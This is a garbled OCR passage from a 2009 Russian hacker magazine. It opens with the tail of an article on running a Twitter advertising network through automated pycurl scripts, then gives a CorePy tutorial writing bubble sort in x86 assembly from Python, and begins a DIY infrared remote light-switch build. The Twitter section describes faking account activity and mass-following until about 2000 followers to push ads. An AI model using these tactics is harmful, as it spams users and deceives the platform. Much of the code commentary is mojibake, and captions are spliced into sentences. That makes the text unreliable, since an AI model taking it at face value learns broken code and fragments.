#ïðîâåðêà — ÷èòàåò ëè äðóã íàñ<br />
++++<br />
if friend not in followers:<br />
#åñëè íå ÷èòàåò — òî äëÿ íàñ îí íå äðóã<br />
curl.setopt(pycurl.URL,<br />
'http://twitter.com/friendships/destroy/’+<br />
++++<br />
Твиттер часто читают через<br />
специальные программы<br />
Логотип TweetTornado<br />
friend+'.xml')<br />
curl.perform() #æäåì 2 ñåêóíäû<br />
time.sleep(2)<br />
++ ++<br />
++++<br />
++++<br />
++++<br />
#çàïóñòèì çàïðîñ<br />
curl.perform()<br />
#ñîõðàíèì ðåçóëüòàòû â ïåðåìåííóþ friends<br />
friends = data.getvalue()<br />
#î÷èñòèì áóôåð äëÿ ñëåäóþùåãî çàïðîñà<br />
data.truncate(0)<br />
#ïîëó÷èì ñïèñîê ëþäåé, êîòîðûå ÷èòàþò íàñ<br />
curl.setopt(pycurl.URL,<br />
'http://twitter.com/statuses/followers.xml')<br />
curl.perform()<br />
followers = data.getvalue()<br />
В переменных friends, followers будет храниться результат в формате<br />
xml, полученный от твиттера. Обработав их уже знакомой нам регуляркой<br />
на поиск тегов , получим массивы:<br />
В ПУТЬ!<br />
Мы рассмотрели основные тезисы создания рекламной сети в твиттере.<br />
Это — базовый набор, которого хватит на первое время. Теперь сам сможешь<br />
их расширять, исходя из своих потребностей, например, добавить<br />
скрипту возможность работать с несколькими аккаунтами или использовать<br />
прямые текстовые сообщения, таргетинг и другие занимательные<br />
вещи. Предлагаю ознакомиться с примером из частной практики одного<br />
злого хакера. Итак, после регистрации аккаунта он устанавливает фотографию<br />
и заполняет все поля в профиле. Далее настраивает крон на запуск<br />
имитации активности где-то с периодичностью в 3 часа. Ждет неделю<br />
и — добавляет в крон запись, позволяющую раз в 3 дня запускать скрипт<br />
сначала на очистку от «редисок», а затем — на приглашение 100 новых<br />
юзеров. Об аккаунте он забывает до тех пор, пока у него не соберется<br />
где-то 2000 фаловеров. На этом он останавливает скрипты роста, оставляя<br />
лишь имитацию активности. Приблизительно раз в неделю размещается<br />
рекламное объявление. z<br />
++++<br />
092<br />
XÀÊÅÐ 04 /124/ 09
++++<br />
>> coding<br />
++++<br />
++++<br />
++++<br />
++++<br />
АЛЕКСЕЙ ЧЕРКЕС<br />
/ ALEKSEY.CHERKES@GMAIL.COM /<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
ПИТОН для матерых<br />
хардкорщиков<br />
Куем ассемблерные вставки в Python с помощью кошерного CorePy<br />
Я постоянно использую в работе open source программы и не перестаю<br />
удивляться, какие необычные проекты порой зарождаются в<br />
этой свободной среде. На мой взгляд, коммерческие приложения никогда<br />
не будут отличаться таким полетом мысли, как в среде открытого<br />
ПО.<br />
++++<br />
++++<br />
++++<br />
++++<br />
++ ++<br />
++++<br />
++++<br />
++++<br />
++++<br />
Осваивая подобные продукты, глубже понимаешь сложные концепции<br />
программирования, детальнее изучаешь интересные технологии. В этот<br />
раз речь пойдет о вещах немного непривычных. Я расскажу о скрещивании<br />
двух языков программирования: ассемблера и Python’a. Такой тандем<br />
нечасто встречается на практике, ведь эти два языка решают абсолютно<br />
разные задачи: ассемблер максимально приближен к аппаратуре,<br />
предоставляет программисту над ней полный контроль, но программирование<br />
на нем — долгое, иногда нудное и кропотливое занятие, требующее<br />
нечеловеческой внимательности и терпения. Python, наоборот, проектировался<br />
так, чтобы максимально облегчить труд программиста. Это очень<br />
комфортный язык, который доступен каждому. На первый взгляд, смесь<br />
двух подходов выглядит едва ли возможной. В Python даже нет понятия<br />
указателя, — тут вообще не идет речи о прямой работе с памятью, ведь всю<br />
грязную работу выполняет трудолюбивый garbage collector! А такие вещи,<br />
как динамическая типизация и функции, являющиеся объектами первого<br />
класса и делающие интеграцию с ассемблером, казалось бы, неразрешимой<br />
на практике задачей? Однако в этой статье я рассмотрю технологию<br />
CorePy, которая делает подобную интеграцию возможной.<br />
ОБЩИЙ ОБЗОР<br />
CorePy — это модуль расширения для Python, частично написанный на С.<br />
Он позволяет программисту писать и исполнять ассемблерные программы,<br />
работая исключительно с интерпретатором Python. Это дает возможность<br />
проводить машинно-зависимую оптимизацию Python-программ, которая<br />
обычно невозможна даже в случае использования таких языков, как C. К примеру,<br />
ты можешь напрямую использовать технологии наподобие MMX и SSE.<br />
CorePy поддерживает процессоры x86, x86_64 (с поддержкой SSE),<br />
PowerPC (PPC32 и PPC64), VMX/AltiVec и Cell SPU. Он может работать в<br />
операционных системах linux и OS X. Microsoft Windows в списке почемуто<br />
не значится ;).<br />
094<br />
ВЕСЬ COREPY МОЖНО РАЗБИТЬ НА ТРИ ОСНОВНЫХ СЛОЯ:<br />
1) Instruction Set Architectures (ISAs). Это библиотеки объектов, которые<br />
представляют собой инструкции из разных наборов команд. Один<br />
физический процессор может поддерживать несколько наборов команд<br />
(например, x86 и SSE).<br />
2) InstructionStreams или потоки команд. Это контейнеры для объектов<br />
из пункта 1. Отвечают за хранение последовательности инструкций и<br />
за взаимодействие с операционной системой для их исполнения.<br />
3) Processors. Выполняют потоки команд и отвечают за передачу и<br />
возврат аргументов. Возможно синхронное и асинхронное выполнение<br />
потоков.<br />
В начале работы программисту необходимо создать один из объектов<br />
InstructionSream. Затем пустой поток команд наполняется другими<br />
объектами, каждый из которых однозначно идентифицирует машинную<br />
инструкцию и ее параметры. На данном этапе никакого кода реально не<br />
создается! Мы просто описываем нужную нам программу, наполняя коллекцию<br />
InstructionSream. Полученная последовательность передается<br />
на исполнение классу, представляющему абстракцию процессора. Внутренние<br />
механизмы CorePy парсят переданный нами InstructionStream<br />
и генерируют на его основе реальный машинный код. Теперь его можно<br />
вызывать почти как обычную функцию, обращаясь к нему через специальный<br />
интерфейс класса Processor.<br />
РУКИ ЧЕШУТСЯ РАБОТАТЬ<br />
Пришло время испытать эту штуку в боевых условиях! Давай реализуем<br />
какой-нибудь несложный алгоритм двумя способами: на ассемблере<br />
и на обычном Python, а затем сравним оба метода по скорости работы<br />
и удобству программирования. Для этих целей я выбрал всем знакомую<br />
задачу сортировки массива методом пузырька. Делаем огромный<br />
массив с тысячами элементов, заполняем его убывающей последова-<br />
XÀÊÅÐ 04 /124/ 09
coding<br />
ТУТ ОПЯТЬ ВСЕ МЕТОДЫ, НO N – МАЛО<br />
(0 < N
++++<br />
>> coding<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
++++<br />
Ìàøèííûé êîä, ñîçäàííûé<br />
CorePy íà<br />
îñíîâå íàøåãî<br />
# Platform: linux.spre_linux_x86_32<br />
BITS 32<br />
SECTION .text<br />
global bubble_sort<br />
bubble_sort:<br />
PROLOGUE:<br />
push ebp<br />
mov ebp, esp<br />
push edi<br />
push esi<br />
push ebx<br />
BODY:<br />
BEGIN_ALL:<br />
mov esi, 0<br />
mov ecx, 0<br />
BEGIN_LOOP:<br />
mov edi, dword [ebp + 8]<br />
mov eax, dword [edi + ecx * 4 + 0]<br />
mov ebx, dword [edi + ecx * 4 + 4]<br />
cmp eax, ebx<br />
jle LE<br />
mov esi, 1<br />
mov dword [edi + ecx * 4 + 0], ebx<br />
mov dword [edi + ecx * 4 + 4], eax<br />
LE:<br />
inc ecx<br />
cmp ecx, dword [ebp + 12]<br />
je END_LOOP<br />
jmp BEGIN_LOOP<br />
END_LOOP:<br />
cmp esi, 0<br />
jne BEGIN_ALL<br />
EPILOGUE:<br />
pop ebx<br />
pop esi<br />
pop edi<br />
leave<br />
ret<br />
Êîä íàøåé<br />
ôóíêöèè<br />
íà CorePy<br />
import corepy.arch.x86.isa as x86<br />
import corepy.arch.x86.platform as env<br />
from corepy.arch.x86.types.registers import *<br />
from corepy.arch.x86.lib.memory import MemRef<br />
code = env.InstructionStream()<br />
lbl_begin = code.get_label('BEGIN_ALL')<br />
lbl_loop = code.get_label('BEGIN_LOOP')<br />
lbl_le = code.get_label('LE')<br />
lbl_end = code.get_label('END_LOOP')<br />
is_finish = esi # ôëàã çàâåðøåíèÿ<br />
x86.set_active_code(code)<br />
# Ïðèíèìàåì ÷åðåç ñòåê äâà ïàðàìåòðà: íà÷àëüíûé àäðåñ ìàññèâà<br />
è ìàêñèìàëüíûé äîïóñòèìûé èíäåêñ â íåì<br />
code.add(lbl_begin)<br />
x86.mov(is_finish, 0)<br />
x86.mov(ecx, 0)<br />
code.add(lbl_loop)<br />
# Çàíîñèì â edi àäðåñ íà÷àëà ìàññèâà<br />
# Îí âñåãäà ñîñòîèò èç 4áàéòíûõ öåëûõ ÷èñåë<br />
x86.mov(edi, MemRef(ebp, 8))<br />
x86.mov(eax, MemRef(edi, disp=0, index=ecx, 4)<br />
x86.mov(ebx, MemRef(edi, disp=4, index=ecx, 4)<br />
# Åñëè ïîðÿäîê ñîðòèðîâêè íàðóøåí...<br />
x86.cmp(eax, ebx)<br />
x86.jle(lbl_le)<br />
# ìåíÿåì ýëåìåíòû ìåñòàìè<br />
x86.mov(is_finish, 1)<br />
x86.mov(MemRef(edi, disp=0, index=ecx, 4), ebx)<br />
x86.mov(MemRef(edi, disp=4, index=ecx, 4), eax)<br />
code.add(lbl_le)<br />
x86.inc(ecx)<br />
x86.cmp(ecx, MemRef(ebp, 12)) # óæå êîíåö?<br />
x86.je(lbl_end)<br />
x86.jmp(lbl_loop)<br />
code.add(lbl_end)<br />
++ ++<br />
++++<br />
++++<br />
++++<br />
примере это code). Затем с помощью метода add в него заносятся конкретные<br />
команды, например:<br />
code.add(x86.mov(eax, 0)).<br />
Мы добавили к командам из code операцию обнуления eax. Примерно<br />
так и составляется вся программа. x86 — это псевдоним для соответствующей<br />
ISA. Для того чтобы все время не писать code.add(команда), можно<br />
просто вызвать функцию x86.set_active_code(code) для экземпляра<br />
твоей ISA. После этого все создаваемые инструкции будут автоматически<br />
добавляться к code. Названия и структура параметров команд<br />
полностью совпадают с ассемблерными аналогами, поэтому запомнить<br />
их не составляет труда. Для работы с регистрами импортируй все имена<br />
из corepy.arch.x86.types.registers. Далее в параметрах команд просто<br />
пиши, что нужно: eax, bp и т.д. Здесь есть одна хитрость: регистры — это<br />
обычные объекты. Поэтому для них можно вводить псевдонимы. В примере<br />
я ввел альтернативное имя is_finish для esi. Такой подход облегчает<br />
# Åñëè íå áûëî íè îäíîé ïåðåñòàíîâêè, òî ìàññèâ îòñîðòèðîâàí<br />
x86.cmp(is_finish, 0)<br />
x86.jne(lbl_begin)<br />
восприятие, как правило, сильно запутанных ассемблерных программ.<br />
Механизмы адресации традиционно считаются сложным аспектом в<br />
программировании на ассемблере. Действительно, x86 поддерживает<br />
несколько ее типов: прямая, косвенная, базовая, индексная, со смещением<br />
и т.д. В этих разновидностях немудрено заблудиться. Для формирования<br />
указателей на ячейки памяти CorePy предоставляет удобный<br />
класс MemRef (передается как параметр соответствующим конструкторам<br />
команд), который может заметно облегчить работу и повысить<br />
визуальную наглядность кода. Например: MemRef(0xABCD) — указатель<br />
на абсолютный адрес, MemRef(rip, -1024) — указатель на ячейку памяти,<br />
смещенную относительно IP, MemRef(rsi, disp = 0, index = rcx, scale = 4)<br />
— эффективный адрес = base + (index * scale) + disp (индексная базовая<br />
адресация со смещением). Последний случай используется в примере.<br />
++++<br />
096<br />
XÀÊÅÐ 04 /124/ 09
coding<br />
абсолютно прозрачно для программиста. Иногда очень удобно использовать<br />
средства Python для автоматизации создания потоков команд. Ты<br />
можешь написать программы, которые будут автоматически генерировать<br />
последовательности ассемблерных инструкций. В примерах, которые идут с<br />
CorePy, можно встретить такие участки кода:<br />
for i in xrange(0, 65): code.add(x86_isa.pop(edi))<br />
Здесь вместо того, чтобы заниматься copy and paste, разработчики написали<br />
цикл, который создает 65 pop-инструкций, идущих друг за другом. Я<br />
думаю, развив эту идею, можно сделать библиотеку удобных макросов —<br />
и использование старого доброго asm’а станет еще комфортнее.<br />
Emacs представляет собой одну из лучших сред программирования,<br />
особенно, если приходится одновременно работать с несколькими языками<br />
Редкая программа выполняется линейно и может обойтись без меток для<br />
переходов. Объекты меток в CorePy создаются классами InstructionStream<br />
— выглядит приблизительно так: lbl_loop = code.get_label(«LOOP»). Здесь<br />
lbl_loop — это новая метка, а code — поток команд. Если у code запросить<br />
еще одну метку с именем «LOOP», вернется тот же экземпляр. Для использования<br />
созданной метки ее нужно поместить в код. Это очень просто:<br />
code.add(lbl_loop) добавляет метку на текущую позицию в коде. Концепция<br />
раздельного создания и использования меток может показаться странной,<br />
но она необходима для организации прыжков на метки, которые идут впереди<br />
по коду. Если ты изучил ассемблерный листинг нашей программы,<br />
то наверняка обратил внимание, что CorePy разделяет каждую функцию<br />
на три части и вводит предопределенные метки: PROLOGUE, BODY и<br />
EPILOGUE. Все, что мы пишем, попадает в главную часть — BODY. Код<br />
эпилога и пролога генерируется автоматически. Он нужен для обеспечения<br />
бинарного интерфейса между функцией и внешним миром. Наличие<br />
такой автоматизации — еще одно преимущество CorePy: теперь программист<br />
тратит меньше сил на реализацию рутинных вещей, таких как<br />
инициализация регистра bp указателем на вершину стека и т.п.<br />
CorePy использует стек для передачи параметров в функции. На стороне<br />
Python-кода для этого нужно использовать специальный класс ExecParams.<br />
У него есть восемь полей: p1, p2, ... , p8 — каждое соответствует одному из<br />
восьми параметров, которые можно передать в функцию. Такой объект<br />
передается экземпляру класса Processor во время запуска процедуры. Из<br />
ассемблера доступ к параметрам осуществляется по старинке: через смещение<br />
относительно указателя начала стека. Чтобы, например, скопировать<br />
первый параметр в eax, напиши следующее: x86.mov(eax, MemRef(ebp, 16)).<br />
Для возврата значений из функций используется регистр с предопределенным<br />
именем. Обычно это gp_return. Разумеется, ассемблер имеет смысл<br />
применять для обработки больших массивов данных — только в этом случае<br />
можно увидеть повышение быстродействия. Но много информации через<br />
регистры и стек в функцию не передашь, и эта проблема имеет отдельное<br />
решение. Например, можно пользоваться классом array из стандартной<br />
библиотеки. Это обычный динамический гомогенный массив для Python.<br />
Среди встроенных типов есть только гетерогенные списки, но они неэффективны<br />
при работе с большими блоками однотипных элементов. К тому<br />
же, они не предоставляют прямого доступа к памяти, а это нужно для работы<br />
ассемблерного кода. Поэтому и появился класс array — у него есть метод<br />
buffer_info(), возвращающий адрес начала массива и количество элементов<br />
в нем. Этот адрес можно использовать напрямую из ассемблера, в своем<br />
примере я так и сделал. CorePy предоставляет похожий класс с почти<br />
идентичным интерфейсом — extarray. В отличие от стандартного array, он<br />
всегда выделяет память, выравненную по границам страниц. За счет такой<br />
оптимизации твои программы будут работать максимально эффективно.<br />
Плюс, на Linux поддерживается технология huge pages, и ее использование<br />
XÀÊÅÐ 04 /124/ 09<br />
АНАЛИЗИРУЕМ РЕЗУЛЬТАТЫ<br />
Выходит, ассемблерная версия рвет обычную на несколько порядков!<br />
Мы получили выигрыш от тысячи до десяти тысяч раз по скорости<br />
при использовании одинакового алгоритма, и с ростом количества<br />
элементов в массиве этот отрыв становится все заметнее. На графиках с<br />
четырьмя кривыми я вывел зависимость логарифма времени выполнения<br />
от количества элементов. Я провел два эксперимента с малым и<br />
большим N (до тысячи и до семи тысяч) — на графиках с двумя линиями<br />
выводятся абсолютные величины и сравниваются методы с приблизительно<br />
одинаковым порядком производительности. На одном показано<br />
время выполнения Python-реализации с PsyCo-оптимизацией и без.<br />
Видно, что PsyCo работает, но в этом тесте эффект, все же, не слишком<br />
убедителен — кривые идут почти одна под другой. На другом графике<br />
мы наблюдаем стандартную функцию sort против нашей ассемблерной<br />
реализации — sort работает приблизительно на один порядок быстрее<br />
с нашим количеством элементов, но заметна тенденция к увеличению<br />
этого разрыва. Связано это с тем, что встроенные функции пишут на C, и<br />
они обычно очень хорошо оптимизированы. И конечно, там используется<br />
алгоритм с меньшей сложностью, чем n**2, как у нашей bubble sort :).<br />
ПОДВЕДЕМ ИТОГИ<br />
Позволяя писать низкоуровневые процедуры прямо в Python-коде с<br />
использованием его синтаксиса, CorePy снижает порог вхождения в<br />
машинное программирование до минимума. На официальном сайте<br />
приведена цитата одного из пользователей. Он говорит, что CorePy опять<br />
сделал программирование на ассемблере увлекательным и веселым<br />
занятием. Библиотека логична и последовательна, ее освоение не<br />
займет много времени, а от комфортного программирования получаешь<br />
почти феерическое удовольствие :). Количество программ, используемых<br />
в рабочем процессе, при этом не увеличивается. Ты по-прежнему<br />
работаешь с одним Python-интерпретатором, а значит, не нужно читать<br />
документацию к незнакомым компиляторам и другим утилитам, которыми<br />
ты никогда не пользовался (или пользовался, но давно). Это может<br />
служить хорошим стимулом для использования CorePy в промышленном<br />
программировании. Библиотека найдет применение в самых разных<br />
областях: встраиваемые приложения, научные расчеты, производство<br />
игр — и так далее. Отличная технология! z<br />
Çàïóñê<br />
íàøåé ñîðòèðîâêè<br />
import corepy.arch.x86.platform as env<br />
proc = env.Processor()<br />
params = env.ExecParams()<br />
def sort(array):<br />
bi = array.buffer_info()<br />
# Ïîäãîòîâêà ïàðàìåòðîâ<br />
params.p1 = bi[0]<br />
# Íà÷àëî ìàññèâà<br />
params.p2 = bi[1] — 1<br />
# Êîëè÷åñòâî ýëåìåíòîâ<br />
proc.execute(code, params = params)# Çàïóñê asm — êîäà!<br />
097
phreaking<br />
ЕВГЕНИЙ «VSHMUK» БЕЙСЕМБАЕВ<br />
/ DIVER@EDU.IOFFE.RU /<br />
ИНФРАКРАСНАЯ ЛЕНЬ<br />
Управлять с пульта можно не только телевизором<br />
Устав вставать с дивана, чтобы в очередной раз выключить свет<br />
в комнате, я задумался, как можно облегчить себе жизнь. Взгляд упал<br />
на инфракрасный пульт управления от старого телевизора.<br />
«Почему бы не поуправлять светом с его помощью?» — подумал я.<br />
И взялся за реализацию идеи.<br />
>> phreaking<br />
Конечно, в продаже есть нормальные, «цивильные» системы дистанционного<br />
управления светом в комнатах. Обычно они идут в комплекте,<br />
— как части разрекламированного «умного дома». Но мы же хакеры?<br />
Поэтому будем делать умный дом своими руками, что в разы дешевле и<br />
интереснее.<br />
ПУЛЬТ<br />
Понадобится нам всего ничего: ИК-пульт (подойдет практически любой),<br />
микроконтроллер, ИК-датчик и так называемые твердотельные реле.<br />
К цифровой ножке контроллера привесим ИК-датчик, который, поймав<br />
из эфира нужные данные, отошлет на реле импульс включения/выключения.<br />
Начнем с пульта. Любой ПДУ для нас, как электронщиков, имеет две<br />
характеристики. Это частота модуляции, так называемая несущая, и метод<br />
кодирования сигнала. С частотой все просто — это то, насколько<br />
быст ро «моргает» излучатель. Как правило, попадаются частоты 36<br />
кГц, 38 кГц и 40 кГц. А вот с методами модуляции придется повозиться,<br />
так как каждый производитель использует свой протокол. Не<br />
факт, что метод кодирования, использовавшийся на моем пульте,<br />
подойдет к твоему. Лично я тыкал в кнопки и смотрел сигнал с<br />
приемника на осциллографе. У тебя осцильника может и не быть,<br />
но информация в интернете по протоколам разных производителей<br />
ищется очень легко. В любом случае — подробнее по ним читай<br />
далее, в отдельной главе. Не забудь проверить пульт на признаки<br />
жизни, это сэкономит немало нервов. Направь на него объектив цифровой<br />
камеры своего мобильника и понажимай кнопочки. Матрица камеры<br />
воспримет излучение работающего пульта как ярко-синее, почти белое.<br />
бы один, поверь, для него найдется применение в любой задаче.<br />
Конкретно в нашем случае, такая примитивная функция, как расшифровка<br />
сигнала с пульта и воспроизведение некоторых действий,<br />
могла бы решиться намного более простым 8-битным контроллером,<br />
а использование AT91SAM7X — пушка в вопросе обстреливания<br />
воробьев. Но за дешевизной мы не гонимся, а гонимся за удобством<br />
программирования, наглядностью и переносимостью на другие проекты.<br />
Итак, контроллер в нашей задаче должен иметь, как минимум:<br />
• Один логический вход, куда мы будем подключать ИК-сенсор;<br />
• Один логический выход, где будет висеть реле для включения света в<br />
комнате. Если хочешь сделать контроллер «умнее», то на досуге приделай<br />
к нему ЖК-дисплей с выводимой информацией (для управления ему<br />
понадобится еще около 8-ми логических выводов);<br />
• Из периферии — один таймер для замера задержек.<br />
ДАТЧИК<br />
Также понадобится ИК-датчик на нужную тебе несущую частоту. Добывается<br />
он в магазинах электроники, барахолках или в старых телевизорах/<br />
видиках. Скорее всего, называться он будет Vishay TSOP18XX (на XX кГц).<br />
Питается от 5 или 3,3 В, внутри имеет все необходимые фильтры и усилители,<br />
а на выход отдает уже нормальный логический сигнал, который<br />
можно без посредников заводить на логическую ножку микросхемы.<br />
Датчик выбирай совместимым по несущей частоте с твоим ПДУ. Настроенный<br />
на другую частоту тоже будет работать, но только если светить в<br />
него в упор. У моего Sony RM-836 несущая равна 36 кГц, соответственно,<br />
и сенсор я купил TSOP1836, — он наиболее часто используемый.<br />
КОНТРОЛЛЕР<br />
Схему я делал на оказавшемся под рукой Atmel AT91SAM7X128. Это<br />
очень крутой МК архитектуры ARM7. Главный его плюс — не нужен<br />
программатор: контроллер замечательно шьется через встроенный<br />
USB-порт. А вообще, «Атмелы» всегда славились продвинутой периферией<br />
в своих контроллерах. Поэтому советую приобрести хотя<br />
098<br />
РЕЛЕ<br />
Наша задача — рулить довольно мощной и питающейся от большого<br />
напряжения нагрузкой (освещением в комнате, например). Естественно,<br />
слабый и работающий от 3,3 В микроконтроллер не сможет зажечь<br />
лампочку, да и 220 вольтам в нашей схеме пока что взяться неоткуда. Для<br />
решения таких задач и были придуманы реле (от relay — «эстафета»). Эти<br />
XÀÊÅÐ 04 /124/ 09
phreaking<br />
Так выглядит наше реле с двух сторон и со снятым радиатором.<br />
Радиатор с термопастой — для задач типа «руление<br />
пылесосом»<br />
Вот что видно на осциллографе. Последовательность читается<br />
довольно легко<br />
Светим пультом прямо в глаз<br />
XÀÊÅÐ 04 /124/ 09<br />
099
pc_zone phreaking<br />
+5V<br />
Почти собранные модули,<br />
— не впаян только<br />
драйвер<br />
~220V<br />
Реле<br />
Нагрузка<br />
РЕЛЕ И ДРАЙВЕРЫ<br />
MCU<br />
100<br />
5 Ohm<br />
N-type<br />
MOFSET<br />
ВНУТРЕННОСТИ<br />
СЕНСОРА<br />
PIN<br />
Input<br />
AGS<br />
Control<br />
Circuit<br />
Band<br />
Pass<br />
Инфракрасный датчик — довольно сложное устройство.<br />
Для начала, в нем есть фотодиод, реагирующий на ИК-часть<br />
спектра. Напрямую аналоговый сигнал с фотодиода на<br />
контроллер посылать не имеет смысла — он просто все<br />
свободное время будет оцифровывать картинку и пытаться<br />
извлечь из нее данные. Поэтому в датчик уже включены<br />
фильтры и демодулятор, дергающий, в итоге, за базу<br />
транзистора. Как только поймается единица, транзистор<br />
откроется, и вывод OUT закоротится с землей GND — тогда<br />
контроллер видит переход состояний и запускает прерывание.<br />
Denodulator<br />
30<br />
3<br />
1<br />
2<br />
V s<br />
OUT<br />
GND<br />
Несмотря на плюсы твердотельных реле, минусов у них тоже<br />
более чем достаточно.<br />
Во-первых, ток управления в большинстве случаев требуется<br />
такой, какой ножка микроконтроллера выдать не в состоянии<br />
— просто сгорит. Во-вторых, многим релюшкам требуется<br />
5 В на включение, тогда как МК твой выдает только 3,3 В (по<br />
спецификации CMOS). В общем, я тебе категорически не<br />
рекомендую подключать релюшку напрямую к контроллеру,<br />
даже если тока с напряжением достаточно. Правильнее и<br />
дешевле — включать его через полевой транзистор! Для<br />
наших задач подойдет любой, например, IRML2803 фирмы<br />
International Rectifier.<br />
Теперь о том, как выбрать реле. Первая попавшаяся релюшка<br />
KSD210AC8 фирмы Cosmo Electronics уже подходит нам (http://<br />
cosmo-ic.com/object/products/KSD210AC8.pdf). Управляется,<br />
минимум, 4 вольтами, поэтому надо добыть 5 или 12 вольт, но на<br />
плате они всяко есть.<br />
То, что управляет чем-то мощным (у нас это — реле), по терминологии<br />
зовется драйвером. В данном случае драйвер — просто<br />
полевой транзистор.<br />
Вместо обычного транзистора можно использовать его же, но с<br />
опторазвязкой, так во многих случаях безопаснее и правильнее,<br />
несмотря на наличие развязки уже внутри релюшки.<br />
Еще совет. Выбирай себе реле с максимальным выходным<br />
током в 2-3 раза больше, чем тот, с которым оно будет использоваться.<br />
Иначе — готовься к тому, что в шкафу будет адский<br />
кипятильник!<br />
приборы могут малыми силами замыкать и размыкать схему, по которой<br />
течет большой ток. Классический вариант — электромагнитное реле<br />
(с магнитом внутри, коммутирующим нашу цепь притягиванием к себе<br />
так называемого якоря). Вообще, термином «реле» можно с натяжкой<br />
обозвать любой выключатель, даже тот, что висит на стенке, приводится<br />
в действие рукой и включает освещение. У электромагнитных реле<br />
есть недостаток. Из-за наличия движущихся частей и электромагнита<br />
сами релюшки будут требовать немаленькое напряжение и потреблять<br />
нехилый ток, который микросхема выдать не в силах. Делать всякие мегаусиления<br />
не будем, а воспользуемся так называемыми твердотельными<br />
реле. Они требуют на вход TTL (3,3-5 В) логику и могут коммутировать<br />
переменные токи до нескольких ампер. Внешне они могут выглядеть<br />
как обыкновенные MOSFET-транзисторы с местом для прикручивания<br />
радиатора, а внутри являются тиристорами в паре (смотри врезку).<br />
В нашей лаборатории уже есть реле, сделанные из тиристоров 25TTS фирмы<br />
Vishay (http://www.vishay.com/docs/94384/94384.pdf). Ты тоже можешь подобрать<br />
себе подобное в магазинах/на барахолках, только следи за максимальным<br />
пропускаемым током (Мощность лампочки=Ток*Напряжение, не забыл?),<br />
а также — возможностью работать с переменным напряжением и минимальным<br />
током на затвор. Полагаю, придется привесить на вход реле еще один<br />
транзистор, но это не больно :). В общем, микроконтроллер в нужный момент<br />
будет подавать на реле (через транзистор или оптотриак) логическую единицу<br />
(3,3 В), а реле — пропускать через себя 220 В переменного тока.<br />
ПРОТОКОЛЫ<br />
Если частоты модуляции в ИК-пультах хоть как-то стандартизированы,<br />
то с протоколами что-то не сложилось. Любая компания-производитель<br />
выдумывает свои собственные. «Низкоуровневых» протоколов распространено<br />
два. Это RC5 (так называемый манчестерский код), использующийся<br />
Philips, и Sony, изобретенный фирмой Sony. Протокол Манчестера<br />
часто используется в линиях передачи данных, когда увеличение заряда<br />
или «яркости» линии чревато «ослеплением» сенсора (подробнее —<br />
смотри врезку). Вкратце, единица представляется переходом из 1 в 0, а<br />
ноль — из 0 в 1. Протокол Sony, в отличие от RC5, не кодирует данные переходами<br />
из состояния в состояние, а использует для этого их длительности<br />
(!). Например, сначала идет одиночный импульс «1», а потом, в зависимости<br />
от передаваемого, одиночная или двойная пауза (вообще, что<br />
считать паузой, а что импульсом — вопрос спорный, транзистор внутри<br />
сенсора все равно все инвертирует). Скажем, единица будет выглядеть<br />
как «1-0-0», а ноль — как «1-0». С «высокоуровневыми» протоколами — в<br />
разы сложнее. Поверх низкоуровневых модуляций уже передаются те<br />
самые данные, которые и отличают одну нажатую кнопку от другой. Здесь<br />
советовать что-либо трудно, количество стартовых/стоповых бит, LSB/<br />
MSB очередности и разделение команды-данные всегда будет свои.<br />
Тычь осциллографом в сенсор, изучай передаваемые данные, ну и про<br />
XÀÊÅÐ 04 /124/ 09
phreaking<br />
ПРОТОКОЛЫ<br />
МАНЧЕСТЕР И EFM<br />
Допустим, тебе надо по очень длинной линии с кучей помех<br />
(неважно, оптическая она или просто медный провод) передать<br />
кучку единиц. Стартовые и стоповые биты не спасут от обилия<br />
сигналов с «высоким уровнем», и датчик/триггер на том конце линии<br />
просто перестает адекватно воспринимать данные. Поэтому<br />
для сред с высоким уровнем помех используются так называемые<br />
self-clocking модуляции.<br />
Например, в протоколе Manchester (используется в Ethernet) единица<br />
дополняется нулем, а ноль — единицей, поэтому значений<br />
с высоким уровнем на линии столько же, сколько и с низким. К<br />
тому же, так мы сохраняем заряд кабеля. Приемник всегда может<br />
подстроиться на частоту и амплитуду сигнала, и в итоге — потерь<br />
данных меньше.<br />
Что-то подобное используется и в кодировании данных на CD-<br />
ROM, где 8 бит каждого байта по таблице переводятся в избыточные<br />
14 с тем принципом, что любые две единицы разделяются,<br />
минимум, двумя и, максимум, десятью нулями. Вместе с дополнительными<br />
тремя битами, склеивающими байты, мы получаем<br />
равномерно «серую» поверхность диска, поэтому сенсор всегда<br />
явно различает темные (темнее серого) и светлые (светлее серого)<br />
участки.<br />
Википедия предлагает небольшие обзорные статьи по теме:<br />
• http://en.wikipedia.org/wiki/Manchester_code.<br />
• http://en.wikipedia.org/wiki/Eight-to-Fourteen_Modulation.<br />
Google тоже забывать не стоит. Полагаю, протоколы для большинства<br />
пультов уже расшифрованы и лежат в открытом доступе. Будешь читать<br />
алгоритм — не путай низкоуровневые нули и единицы (свечение pulse и<br />
space) с логическими, получаемыми после расшифровки.<br />
îêàçàëèñü. Åñëè ÷åðåç 1.2 ìñ, òî ê íàì ïðèåõàëà åäèíèöà,<br />
à åñëè ÷åðåç 0.6 — òî íîëèê. Çàïèõèâàåì åãî â «êîìàíäíûé»<br />
áàéò íîãàìè âïåðåä (LSB) è èäåì öèêëîì â ìåòêó [Ìåòêà!].<br />
— Êàê ïðèíÿëè 7 êîìàíäíûõ áèò, ïðèíèìàåì 5 àäðåñíûõ.<br />
— Ïî ïðîòîêîëó ÷åðåç 40 ìêñ ïóëüò ïîâòîðÿåò ïîñëåäîâàòåëüíîñòü,<br />
ïîýòîìó åñëè õî÷åøü äîïîëíèòåëüíîé íàäåæíîñòè<br />
— ïðèñòóïàé ê äåéñòâèþ òîëüêî ïîñëå âòîðîé ïîâòîðåííîé<br />
êîìàíäû.<br />
— Íó, à åñëè âñå áèòû ñîâïàëè ñ òåì, ÷òî ìû îæèäàåì, òî<br />
ïðîèçâîäèì äåéñòâèå (íàïðèìåð, ïèùèì ëàìïî÷êîé).<br />
Как-то так. Страшно, но в готовом коде букв будет в разы меньше.<br />
СБОРКА И ИСПЫТАНИЕ<br />
У меня уже была отладочная плата на контроллере ARM7. Вся периферия<br />
— отключена, к одному цифровому входу была привешена OUT-ножка<br />
датчика, а к выходу я временно привесил динамик-пищалку, чтобы не<br />
играться с высоким напряжением раньше времени. Datasheet порекомендовал<br />
